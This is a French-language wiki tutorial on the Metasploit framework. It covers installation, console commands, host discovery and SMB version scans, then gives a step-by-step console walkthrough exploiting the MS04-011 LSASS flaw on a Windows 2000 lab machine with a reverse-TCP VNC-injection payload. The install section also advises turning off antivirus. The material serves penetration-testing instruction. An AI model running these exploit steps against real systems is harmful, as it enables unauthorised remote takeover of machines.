Metasploit-fr

From aldeid
Jump to navigation Jump to search
This article is also available in one or more other languages
To view this article in English, click here

Metasploit

Description

Metasploit est un framework de développement pour créer des outils de sécurité et des exploits (exploitation de vulnérabilités). Il a été écrit par HD Moore et sa version actuelle est la v3.0. Cet outil est utilisé lors de tests de pénétration pour vérifier les patchs de sécurité sur un système.

La version 3 utilise Ruby alors que la version 2 est programmée en Perl.

A la différence d'un scanner de vulnérabilités qui tente de déterminer si une cible est vulnérable, le framework pénètre la cible et confirme la vulnérabilité.

Architecture de Metasploit

Le framework s'articule autour de l'architecture suivante :

Image:metasploit-001.gif

Arborescence des modules

Les modules de Metasploit sont regroupés dans une arborescence dont le premier niveau est décrit dans le tableau ci-dessous :

Niveau 1 Description Arborescence
Auxiliary La version 3.0 supporte le concept de modules auxiliaires qui peuvent être utilisés afin d'exécuter des actions arbitraires telles que le scan de ports, le déni de services entre autres.
Encoder  
Exploit Les modules "Exploit" sont les modules principaux dans Metasploit.
Nop Les modules NOP sont utilisés pour les instructions de type "no-operation" pour exploiter les débordements de buffers.
Payload Les charges utilies (Payload en anglais) sont des portions de code (shellcode) exécutées lorsque l'exploit réussi. Les charges utiles permettent d'assurrer la communication entre Metasploit et la victime.

Installation

Sous Windows

Windows Installer

Téléchargez l'installeur à l'adresse suivante : http://spool.metasploit.com/releases/framework-3.1.exe puis suivez les étapes d'installation.

Avec Cygwin

Pré-requis

Vous aurez besoin d'installer les dépendances suivantes : openSSL et Ruby.

Installation

L'installation sous Windows est préférable en environnement d'émulation Cygwin dans la mesure où certaines fonctionnalités ne sont pas disponibles avec l'installeur Windows.

Note
Pendant l'installation, il est préférable de désactiver l'antivirus car certains fichiers peuvent être considérés comme virus lors de l'installation.

Sous Linux

Pré-requis

Les dépendances suivantes sont requises :

$ sudo apt-get install ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby

Gems permet d'installer les logiciels Ruby

$ cd /usr/local/src
$ sudo wget http://rubyforge.org/frs/download.php/11289/rubygems-0.9.0.tgz
$ sudo tar xzvf rubygems-0.9.0.tgz
$ cd rubygems-0.9.0
$ sudo ruby setup.rb
$ sudo gem update --system

Installation du framework Metasploit

# cd /usr/local/src/
# wget http://spool.metasploit.com/releases/framework-3.2.tar.gz
# tar xzvf framework-3.2.tar.gz
# mv framework-3.2 /usr/local/msf

Créons ensuite des liens symboliques afin d'inclure la console dans les variables d'environnement :

$ cd /usr/local/bin
$ ln -s /usr/local/msf/msfconsole
$ ln -s /usr/local/msf/msfcli

Utilisation

Les différents frontends

Metasploit met à disposition les frontends suivants :

  • Msfconsole : L'interface du framework en lignes de commandes
  • Msfcli : Permet de programmer un exploit sur une seule ligne
  • MsfWeb : mode Web du framework

Les commandes de base

Les commandes suivantes peuvent être entrées dans la msfconsole. Commande

Commande Description
use <chemin/vers/exploit> Sélection d'un exploit, d'un auxiliaire
show options Affiche la liste des options et valeurs courantes (celles spécifiées avec la commande set)
show exploits Affiche la liste des exploits
show targets Affiche la liste des cibles
show payloads Affiche la liste des payloads disponibles
show advanced Affiche les options avancées
search <ChaineDeRecherche> Permet de rechercher un exploit dans la base de données
set <variable> <valeur> Permet d'attribuer une valeur à une variable. Par exemple :
set RHOST 192.168.1.29
set RPORT 81


Note
L'autocompletion est assurée par l'appui sur la touche <TAB>.

Exemple d'auxiliary

Module sweep_udp

Le module sweep_udp permet d'effectuer une découverte d'hôtes. Il attend comme paramètre RHOSTS, qui accepte la notation CIDR.

Dans une msfconsole, lancez les commandes suivantes :

>> use auxiliary/scanner/discovery/sweep_udp
>> set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24

Pour lancer la découverte d'hôte, entrez simplement la commande run.

>> run
[*] Sending 6 probes to 192.168.0.0->192.168.0.255 (256 hosts)
[*] Discovered NetBIOS on 192.168.0.12 (94988400000000010000000020434b4141414141414141414141414
1414141414141414141414141414141414100002100010000000000650358505350322d3230434337333937450044004f5a59
52495320202020202020202000c40058505350322d323043433733393745204400001cbf8c7aa300000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000)
[*] Discovered NetBIOS on 192.168.0.11 (5a5b8400000000010000000020434b4141414141414141414141414
1414141414141414141414141414141414100002100010000000000ad0746414d494c59434f4d50202020202000040046414d
494c59434f4d50202020202003040046414d494c59434f4d50202020202020040001025f5f4d5342524f5753455f5f0201840
04f5a595249532020202020202020201d04004f5a595249532020202020202020201e84004f5a595249532020202020202020
2000840000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
[*] Discovered NetBIOS on 192.168.0.11(e4598400000000010000000020434b41414141414141414141414141414141
414141414141414141414141414100002100010000000000ad0746414d494c59434f4d50202020202000040046414d494c594
34f4d50202020202003040046414d494c59434f4d50202020202020040001025f5f4d5342524f5753455f5f020184004f5a59
5249532020202020202020201d04004f5a595249532020202020202020201e84004f5a5952495320202020202020202000840
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
[*] Auxiliary module execution completed

Module smb/version

L'exemple qui suit utlise le module smb/version qui permet d'évaluer le système installé sur un hôte.

Pour le premier hôte découvert :

msf > use auxiliary/scanner/smb/version
msf auxiliary(version) > set RHOSTS 192.168.0.11
RHOSTS => 192.168.0.11
msf auxiliary(version) > run
[*] 192.168.0.11 is running Unix Samba 3.0.28a
[*] Auxiliary module execution completed

Puis, pour le second hôte :

msf auxiliary(version) > set RHOSTS 192.168.0.12
RHOSTS => 192.168.0.12
msf auxiliary(version) > run
[*] 192.168.0.12 is running Windows XP Service Pack 2+
[*] Auxiliary module execution completed

Exemple d'exploit

Un exploit correspond à l'exploitation d'une faille connue permettant l'exécution d'un payload (charge utile) sur une cible.

L'exemple qui suit démontre comment il est possible d'exploiter une vulnérabilité du service LSASS dans Windows 2000 Pro pour charger une DLL (dans laquelle est encapsulé un serveur VNC). En quelques lignes seulement, nous sommes capables de prendre le contrôle à distance de notre cible.

Une vidéo de cet exploit est disponible ici : http://dl.dropbox.com/u/10761700/msf-lsass-vnc.flv

1. Ouvrons une console Metasploit
                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ msf v3.2-release
+ -- --=[ 320 exploits - 217 payloads
+ -- --=[ 20 encoders - 6 nops
       =[ 99 aux
msf >
2. Nous exploitons ici la vulnérabilité ms04_011_lsass
msf > use exploit/windows/smb/ms04_011_lsass
3. Spécifions maintenant l'hôte cible de notre attaque
msf exploit(ms04_011_lsass) > set RHOST 192.168.182.133
RHOST => 192.168.182.133
4. Spécifions maintenant le payload à utiliser
msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp
PAYLOAD => windows/vncinject/reverse_tcp
5. Paramétrons le payload pour lui indiquer notre adresse IP
msf exploit(ms04_011_lsass) > set LHOST 192.168.182.1
LHOST => 192.168.182.1
6. A tout moment, il est possible de consulter notre configuration
msf exploit(ms04_011_lsass) > show options
Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.182.133 yes The target address
RPORT 445 yes Set the SMB service port

Payload options:

Name Current Setting Required Description
---- --------------- -------- -----------
AUTOVNC true yes Automatically launch VNC viewer if present
DLL C:/Documents and Settings/ yes The local path to the VNC DLL to sdamaye/Application Data/ upload
msf3/data/vncdll.dll
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.182.1 yes The local address
LPORT 4444 yes The local port
VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
VNCPORT 5900 yes The local port to use for the VNC proxy

Exploit target:

Id Name
-- ----
0 Automatic Targetting
Note
notons que la variable AUTOVNC est placée à true. Cela signifie que le serveur VNC s'exécutera automatiquement sur la machine attaquante. Pour que cela fonctionne, il est nécessaire que le chemin vers VNC soit déclaré dans les variables d'environnement.
7. Par défaut, la cible est choisie automatiquement. (les valeurs acceptées étant 0:automatic, 1:Windows 2000 English, 2: Windows XP English). Notre cible étant Windows 2000, nous pouvons préciser notre cible.
msf exploit(ms04_011_lsass) > set TARGET 1
TARGET => 1
8. Spécifions le port d'écoute local
msf exploit(ms04_011_lsass) > set LPORT 4321
LPORT => 4321
9. Le paramétrage de l'exploit étant terminé, nous pouvons maintenant le lancer.
msf exploit(ms04_011_lsass) > exploit
[*] Started reverse handler
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.182.133[\lsarpc]...
[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.182.133[\lsarpc]...
[*] Getting OS information...
[*] Trying to exploit Windows 5.0
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...


Nous pouvons voir dans les lignes qui suivent le chargement de la DLL (dans laquelle est encapsulé le serveur VNC) sur l'hôte attaqué :

[*] Uploading DLL (327693 bytes)...
[*] Upload completed.
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
[*] VNC Server session 1 opened (192.168.182.1:4321 -> 192.168.182.133:1029)
[*] The DCERPC service did not reply to our request
10. Si l'exploit fonctionne, nous obtenons une fenêtre VNC pointant sur l'hôte attaqué. Image:metaspoit-002.png